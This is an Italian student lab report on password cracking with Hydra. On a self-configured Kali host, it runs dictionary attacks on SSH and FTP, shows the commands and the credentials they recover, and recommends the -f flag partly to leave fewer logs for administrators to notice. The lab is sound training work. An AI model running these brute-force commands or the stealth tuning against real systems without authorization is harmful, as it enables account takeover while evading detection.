

Authentication cracking con Hydra

1. Obiettivo dell'Esercitazione

L'esercitazione ha il duplice scopo di comprendere la gestione dei servizi di rete su sistemi Linux e di testarne la robustezza tramite attacchi di tipo **Brute Force** e **Dictionary Attack** utilizzando il tool **Hydra**. L'attività è stata suddivisa in una fase guidata (SSH) e una fase libera (FTP) con relativa ottimizzazione.

2. Fase 1: Esercizio Guidato (SSH)

In questa fase è stato preparato l'ambiente di test configurando un utente vittima e il servizio SSH.

2.1 Preparazione dell'ambiente Utilizzando l'utente amministratore (kali), ho creato un nuovo utente nel sistema target per simulare la vittima:

- **Comando:** `sudo adduser test_user`
- **Password impostata:** `testpass`

Successivamente, ho attivato il servizio SSH:

- **Comando:** `sudo service ssh start`

2.2 Verifica Manuale Prima di procedere con l'attacco, ho verificato che il servizio fosse accessibile:

- **Comando:** `ssh test_user@192.168.50.50`
- **Esito:** Il login è avvenuto con successo, confermando che la porta 22 era aperta e l'utente attivo.

```
❏$ ssh test_user@192.168.50.50
The authenticity of host '192.168.50.50 (192.168.50.50)' can't be established.
ED25519 key fingerprint is SHA256:htCzx4tn3Z4aDhiBDMV1dNujJkgus+aBOBlcODU6r7Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.50' (ED25519) to the list of known hosts.
test_user@192.168.50.50's password:
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
❏(test_user@kali)-[~]
❏$
```

2.3 Attacco con Hydra Ho eseguito un attacco a dizionario simulato. Ho creato un file passwords.txt contenente alcune password errate e quella corretta.

- **Comando:** hydra -l test_user -P passwords.txt 192.168.50.50 ssh
- **Risultato:** Hydra ha identificato correttamente le credenziali login: test_user / password: testpass.

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 05:15:20
[DATA] max 2 tasks per 1 server, overall 2 tasks, 4 login tries (l:1/p:4), ~2 tries per task
[DATA] attacking ssh://192.168.50.50:22/
[22][ssh] host: 192.168.50.50 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 05:15:27
```

3. Fase 2: Configurazione e Cracking FTP (Esercizio Indipendente)

Per la seconda parte, ho scelto di configurare e attaccare il servizio **FTP**, utilizzando il demone vsftpd.

3.1 Installazione e Configurazione Ho installato il servizio con sudo apt install vsftpd.

1. Ho riavviato il servizio: sudo service vsftpd restart

```
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-01-16 08:59:52 EST; 6s ago
 Invocation: 030550691e144d0b9aeab6be2dca563b
    Process: 172485 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 172487 (vsftpd)
      Tasks: 1 (limit: 9375)
     Memory: 900K (peak: 1.7M)
        CPU: 11ms
    CGroup: /system.slice/vsftpd.service
            └─172487 /usr/sbin/vsftpd /etc/vsftpd.conf
```

3.2 Esecuzione dell'Attacco Ho tentato un attacco simulando la non conoscenza dell'username, utilizzando una lista utenti (utenti.txt) e una lista password (passwords.txt).

- **Comando:** hydra -L utenti.txt -P passwords.txt -t 2 192.168.50.50 ftp
- **Esito:** L'attacco ha avuto successo, trovando la coppia test_user / testpass.

```
[DATA] attacking ftp://192.168.50.50:21/
[21][ftp] host: 192.168.50.50 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
```

4. Fase Opzionale: Ottimizzazione (Exit on Success)

Problema: L'utilizzo di wordlist reali come seclists comporta milioni di tentativi. In uno scenario reale, aspettare che Hydra completi l'intera lista anche dopo aver trovato la password è inefficiente e genera traffico di rete inutile e sospetto.

Soluzione Adottata: Ho implementato l'opzione **Exit on Success** (-f). Questa opzione istruisce Hydra a terminare immediatamente il processo non appena viene trovata una coppia valida di credenziali, invece di continuare a provare il resto della lista.

Vantaggi osservati:

1. **Risparmio di tempo:** Il processo si è interrotto appena trovata la password corretta.
2. **Meno rumore:** Si riduce il numero di log di errore generati sul server bersaglio, rendendo l'attacco leggermente meno visibile agli amministratori di sistema.

5. Conclusioni

L'esercitazione ha dimostrato che la sicurezza di un servizio non dipende solo dal software utilizzato, ma dalla sua configurazione e dalla robustezza delle password. Inoltre, ho appreso l'importanza del *tuning* degli strumenti di attacco: la gestione dei thread (-t) è fondamentale per non mandare in crash il servizio, e l'uso di flag di ottimizzazione (-f) è essenziale per operare in tempi ragionevoli con dizionari voluminosi.